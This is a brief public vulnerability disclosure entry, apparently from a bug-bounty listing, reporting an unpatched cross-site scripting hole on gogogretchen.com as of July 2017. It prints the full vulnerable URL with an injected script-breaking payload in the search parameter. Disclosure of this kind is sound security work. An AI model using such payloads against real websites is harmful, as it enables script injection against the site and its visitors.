gogogretchen.com XSS vulnerability

Vulnerable URL: http://www.gogogretchen.com/?nsearch=Archtop-w%27"--!confirmOPENBUGBOUNTY%3C/script /K/&price-under;=745' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4502496 VIP...